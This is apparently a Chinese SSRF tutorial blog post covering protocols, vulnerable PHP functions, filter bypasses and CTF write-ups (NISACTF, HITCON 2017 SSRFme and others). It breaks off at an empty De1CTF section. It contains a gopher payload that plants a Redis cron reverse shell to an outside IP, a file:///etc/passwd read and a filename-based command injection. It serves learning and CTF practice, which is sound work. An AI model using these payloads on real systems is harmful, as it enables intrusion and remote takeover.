基础知识

SSRF含义

SSRF(Server-Side Request Forgery: 服务器端请求伪造 )是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF的攻击目标一般是从外网无法访问的内部服务器。

即以下三点:

  1. 服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击。(利用一个可发起网络请求的服务当作跳板来攻击其他服务)
  2. 攻击者能够利用目标帮助攻击者访问其他想要攻击的目标
  3. 攻击者要求服务器为他访问URL

1598346442.jpeg

SSRF作用

  1. 隐藏自己
  2. 进行内网渗透 主流防御 -> 外网防护强,内网防护弱
  3. 更好地对存在SSRF漏洞进行攻击 mysql默认不允许外部访问,但对于本地没有防护
  4. 扫描内部网络
  5. 向内部任意主机的任意端口发送精心构造的数据包(payload)
  6. DOS(请求大文件,始终保持连接Keep-Alive Always)
  7. 暴力穷举(users、files等)

SSRF条件

  1. web服务器存在SSRF漏洞
  2. web服务器有访问本地或远程服务器的权限

SSRF存在的位置

一般是web服务器提供了从其他服务器获取数据的功能,可以通过观察URL是否含关键字”XX=”

  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • 3g
  • display
  • sourceURL
  • imageURL
  • domain

示例:

1
 http://www.xxx.com/test.php?image=(地址)

这种就可能存在SSRF漏洞,image参数需要从别的服务器中获取资源。

存在危险的协议

file://(结合目录遍历读取文件)

访问本地文件的协议,例如我在D盘下有一个zishuQ.txt文件,在浏览器中输入

1
 file://D://zishuQ.txt

就可以查看

关于file协议,在本机后面跟两个或者三个/都可以访问,更规范化应该是三个/

dict://(探测端口,主要用于结合 curl 攻击)

词典网络协议。还不是太理解如何用

dict://ip/info

示例:curl -v ‘dict://127.0.0.1:22/info’(查看ssh的banner信息)

gopher:// (打开端口)

一种信息查找系统,在SSRF的应用中很广泛,功能很强。可以发送GET、POST请求,可以说是http的前身。在curl环境下支持

使用限制

语言 支持情况
PHP –wite-curlwrappers且php版本至少为5.3
Java 小于JDK1.7
Curl 低版本不支持
Perl 支持
ASP.NET 小于版本3

示例:

curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a

说明:对空格和回车进行url编码,%20是空格,%0d%0a是回车。GET请求末尾也要添加%0d%0a,如果是POST请求,在请求头和数据之间也需要空行,就是两个%0d%0a

ftp://

应用层的一个文件传输协议

http://(进行内网探测)

SSRF相关的危险函数

file_get_contents()与readfile()

file_get_contenes():将传入的参数写入字符串,导致任意文件读取。这种攻击一般与目录遍历相结合。

readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false:读取文件并写入到输出缓冲

fsockopen()

fsockopen( string $hostname, int $port = -1, int &$error_code = null, string &$error_message = null, ?float $timeout = null ): resource|false:打开internet或者Unix套接字连接。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:

fgets(resource $stream, ?int $length = null): string|false:从文件指针读取一行

fgetss(resource $handle, int $length = ?, string $allowable_tags = ?): string:从文件指针中读取一行并过滤掉HTML标记(自PHP 7.3.0起弃用

fwrite(resource $stream, string $data, ?int $length = null): int|false:写入文件

fclose(resource $stream): bool:关闭一个一打开的文件指针

feof(resource $stream): bool:测试文件指针是否到了文件结束的位置

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 //ssrf.php
 <?php
 $host=$_GET['url'];
 $fp = fsockopen($host, 80, $errno, $errstr, 30);
 if (!$fp) {
     echo "$errstr ($errno)<br />\n";
 } else {
     $out = "GET / HTTP/1.1\r\n";
     $out .= "Host: $host\r\n";
     $out .= "Connection: Close\r\n\r\n";
     fwrite($fp, $out);
     while (!feof($fp)) {
         echo fgets($fp, 128);
    }
     fclose($fp);
 }
 ?>

 构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 //ssrf.php
 <?php
 if (isset($_GET['url'])){
  $link = $_GET['url'];
  $curlobj = curl_init(); // 创建新的 cURL 资源
  curl_setopt($curlobj, CURLOPT_POST, 0);
  curl_setopt($curlobj,CURLOPT_URL,$link);
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
  $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
  curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

  // $filename = './curled/'.rand().'.txt';
  // file_put_contents($filename, $result);
  echo $result;
 }
 ?>

 构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页

可以配合file、dict、gopher进行渗透

1
2
3
4
5
6
 curl -vvv 'dict://127.0.0.1:6379/info'
 curl -vvv 'file:///etc/passwd'
 # * 注意: 链接使用单引号,避免$变量问题
 curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
 
 curl -v 输出通信的整个过程

绕过手法

1、@绕过

URL的完整格式

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]]

在访问http://baidu.com@1.1.1.1http://1.1.1.1时效果是一样的(这个验证过是可以的)

c8696c22752a423c97c5d11e98d868d8.png

2、进制绕过

IP地址的表达方式

字符串 10.0.0.3
二进制 00001010.00000000.00000000.00000011
十六进制 0A.00.00.03
整数 167772163

字符串http://10.0.0.3 -> 十六进制http://0x0A.0x00.0x00.0x03 -> 八进制http://012.00.00.03 -> 八进制溢出http://265.0.0.3

3、用替代.

http://10。0。0。3

4、xip.io 和 xip.name 绕过

泛域名解析,无需配置,将自定义的任何域名解析到指定的IP地址。假设你的IP地址是10.0.0.1,你只需使用前缀域名+IP地址+xip.io即可完成相应自定义域名解析。

1
2
3
4
 10.0.0.1.xip.io # 解析到 10.0.0.1
 www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2
 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3
 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
1
2
3
4
 10.0.0.1.xip.name # 解析到 10.0.0.1
 www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2
 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3
 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4

5、DNS重绑

简单叙述一下逻辑:

  1. 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
  2. 若在,退出报错
  3. 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。

效果类比:你访问wwfcww.xyz这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。

参考的博客资料

  1. 了解SSRF,这一篇就足够了 - 先知社区 (aliyun.com)
  2. 从0到1完全掌握 SSRF - FreeBuf网络安全行业门户
  3. SSRF漏洞原理和利用 - FreeBuf网络安全行业门户

例题巩固

[NISACTF 2022]easyssrf

题目分析

SSRF漏洞常常会联系到file_get_contents()、curl()、fsocksopen()、fopen()几个函数。可以在url里面尝试使用http://,file://等协议进行读取。再一个就是SSRF和php伪协议结合在一起使用。

题解

1、查看页面

image-20230116223026993.png

2、我们的目的是获取flag,输入flag进行查看

image-20230116223151166.png

3、按照提示,查看/fl4g路径文件,使用file://协议进行查看。这里的file后面要跟三个/,因为路径还有一个/,不能漏掉

image-20230116223251606.png

4、查看ha1x1ux1u.php下面的内容

image-20230116223405310.png

5、有源码就知道该怎么做了。看这题的本意应该是通过php伪协议读取文件的,

php://filter/read=convert.base64-encode/resource=/flag。但是通过GET传参,file=/flag,直接就能拿到flag。结束

解题心得

通过这道题,对SSRF的理解加深了,干枯的定义实在是不好理解,真正做题后才有感觉。通常目标服务器内部是不能被访问到的(比如医院或者说银行等场所有专门的内网),但是可以根据服务器自身暴露给外部的端口进行不正常的访问。

[第二章 web进阶]SSRF Training

题目分析

url的结构,parse_url的绕过,curl的解析

题解

1、这道题把源码放了出来,先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
 highlight_file(__FILE__);
 function check_inner_ip($url)
 {
     $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
     if (!$match_result)
     {
         die('url fomat error');
     }
     try
     {
         $url_parse=parse_url($url);
     }
     catch(Exception $e)
     {
         die('url fomat error');
         return false;
     }
     $hostname=$url_parse['host'];
     $ip=gethostbyname($hostname);
     $int_ip=ip2long($ip);
     return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
 }
 
 function safe_request_url($url)
 {

     if (check_inner_ip($url))
     {
         echo $url.' is inner ip';
     }
     else
     {
         $ch curl_init();
         curl_setopt($ch, CURLOPT_URL, $url);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt($ch, CURLOPT_HEADER, 0);
         $output curl_exec($ch);
         $result_info curl_getinfo($ch);
         if ($result_info['redirect_url'])
         {
             safe_request_url($result_info['redirect_url']);
         }
         curl_close($ch);
         var_dump($output);
     }

 }
 
 $url $_GET['url'];
 if(!empty($url)){
     safe_request_url($url);
 }

2、首先是第一个函数check_inner_ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

第一步进行正则匹配,拿出url

接着用到了一个parse_url(url)函数,参数是一个url,返回一个关联数组

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$url = "http://username:password@hostname/path?arg=value#anchor";
print_r(parse_url($url));
print(parse_url($url)).PHP_EOL;
echo parse_url($url, PHP_URL_PATH);

Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
Array
/path

拿出host对应的值,并用gethostbyname($hostname)函数返回主机名对应的IPv4地址

再用ip2long($ip)函数将ip转换成一个数值,>>24表示右移24位,只剩下最前面的数字,而127、10、172、192是可以表示本机的几个数字,这样可以把本机的ip地址全部过滤掉

3、接下来是第二个函数safe_request_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output curl_exec($ch);
        $result_info curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}

如果是内网,结束程序,所以我们的目标是伪装成非内网的ip

函数curl_initcurl_setoptcurl_execcurl_getinfocurl_close是对文件传输工具curl的一系列操作,大概的意思是对我们传入的url发起请求

根据题目提升flag的路径是/flag.php下,下一步就是进行伪装

当我们利用两个@的时候可以让解析的实际地址与函数获得的地址不一样,以达到绕过的结果

c8696c22752a423c97c5d11e98d868d8.png

实际上解析了第一个@的地址,但是函数获得的是后面一个@的地址

4、构造payload就是http://@127.0.0.1:80@77.77.77.77/flag.php

第一个ip是内网ip,第二个ip随便编一个公网ip

协议 端口号
http 80
https 443
SSH、SCP 22

解题心得

这道题设计到很多url方面的知识,题目还算比较基础,学到了很多新知识,包括ip的解析,hostname和ip的对应关系,http,https,ftp使用的端口号等

[HITCON 2017]SSRFme

题目分析

perl脚本中GET命令执行漏洞,参考wp:https://blog.csdn.net/qq_45521281/article/details/105868449https://blog.csdn.net/RABCDXB/article/details/122491499

题解

1、题目给了源码,先进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
  1. HTTP_X_FORWARDED_FOR是一个HTTP扩展头部,

格式:X-Forwarded-For: client, proxy1, proxy2X-Forwarded-For: IP0, IP1, IP2

可以看到,XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。用户真实IP为 IP0

  1. explode(string $separator, string $string, int $limit = PHP_INT_MAX): array使用separator字符串分割string,返回一个数组

  2. $_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。

    数组元素 说明
    $_SERVER[‘PHP_SELF’] 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar
    $_SERVER[‘SERVER_ADDR’] 当前运行脚本所在服务器的 IP 地址
    $_SERVER[‘SERVER_NAME’] 当前运行脚本所在服务器的主机名。如果脚本运行于虚拟主机中,该名称就由那个虚拟主机所设置的值决定
    $_SERVER[‘SERVER_PROTOCOL’] 请求页面时通信协议的名称和版本。例如,“HTTP/1.0”
    $_SERVER[‘REQUEST_METHOD’] 访问页面使用的请求方法。例如“GET”“HEAD”“POST”“PUT”
    $_SERVER[‘REMOTE_ADDR’] 浏览当前页面的用户的IP地址
    $_SERVER[‘DOCUMENT_ROOT’] 当前运行脚本所在的文档根目录。在服务器配置文件中定义
    $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] 当前请求头中 Accept-Language: 项的内容(如果存在)。例如,“en”
    $_SERVER[‘REMOVE_ADDR’] 浏览当前页面的用户 IP 地址,注意与 $_SERVER[‘SERVER_ADDR’] 的区别
    $_SERVER[‘SCRIPT_FILENAME’] 当前执行脚本的绝对路径
    $_SERVER[‘SCRIPT_NAME’] 包含当前脚本的路径
    $_SERVER[‘REQUEST_URI’] URI 用来指定要访问的页面。例如,“index.html”
    $_SERVER[‘PATH_INFO’] 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息(如果存在)。例如,当前脚本是通过 URL http://c.biancheng.net/php/path_info.php/some/stuff?foo=bar 被访问的,那么 $_SERVER[‘PATH_INFO’] 将包含 /some/stuff
  3. 打印IP地址,这是第一部分的内容

2、再看第二部分

1
2
3
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

sandbox沙箱,用于系统防护

mkdir:创建目录

chdir:改变当前工作目录

这一部分是将ip地址进行md5加密,并创建文件夹

3、第三部分

1
2
3
4
5
6
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);

shell_exec(string $command):通过shell执行命令并将输出以字符串的方式返回

escapeshellarg(string $arg): string:把字符串转义为可以在 shell 命令里使用的参数。给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的

pathinfo(string $path, int $flags = PATHINFO_ALL): array|string:返回文件路径的信息

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
print_r($path_parts);
?>

Array
(
[dirname] => /www/htdocs/inc
[basename] => lib.inc.php
[extension] => php
[filename] => lib.inc
)

str_replace( array|string $search, array|string $replace, string|array $subject, int &$count = null ): string|array:该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

这一步将所有的.全都过滤为空了

file_put_contents( string $filename, mixed $data, int $flags = 0, ?resource $context = null ): int|false:将数据写入文件

4、于是就有思路了,先根据自己的ip地址,得出md5加密后写入文件的路径名字sandbox/2eeed2xxxxxxxxxxxxxxada8fb98809e,这样就可以读入访问的资源内容了

5、第一步?url=/&filename=readRoot,将根目录的文件输出到readRoot文件中

第二步,根据由md5加密生成的路径,访问readRoot,知悉根目录下结构,里面有flag和readflag两个关键文件,应该是要利用readflag读取flag

第三步,?url=&filename=bash -c /readflag|,创建一个进行读取的文件

第四步,?url=file:bash -c /readflag|&filename=flagsandbox/2eeed2xxxxxxxxxxxxxxada8fb98809e/flag拿到flag

perl脚本中会执行open命令,这个时候可能导致命令执行

解题心得

要充分分析题目给的源代码,把代码吃透,明白每一部分有什么用,对接下来思考如何绕过很有帮助。

[第三章 web进阶]Python里的SSRF

题目分析

ip地址绕过,python

题解

1、进入页面后尝试?url=www.baidu.com,发生了跳转,说明存在SSRF漏洞

2、根据题目提示:尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

3、访问127.0.0.1或者localhost均被过滤

4、这个时候我们尝试用其他进制,比如十六进制进行绕过尝试,发现也是失败的

5、在计算机网络中,以127开头的地址都是环回地址,试试127.0.0.2成功拿到flag;

也可以用0.0.0.0获取到flag

6、对这个题解解释一下:

127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。

在实际应用中,一般我们在服务端绑定端口的时候可以选择绑定到0.0.0.0,这样我的服务访问方就可以通过我的多个ip地址访问我的服务

解题心得

对计算机网络的一个回顾,重新认识了环回地址。分辨环回地址和本机的区别

[De1CTF 2019]SSRF Me

题目分析

python代码审计,@修饰器

https://www.cnblogs.com/NineOne/p/14100172.html

https://www.cnblogs.com/NPFS/p/13328314.html

https://blog.csdn.net/p15097962069/article/details/104005929

题解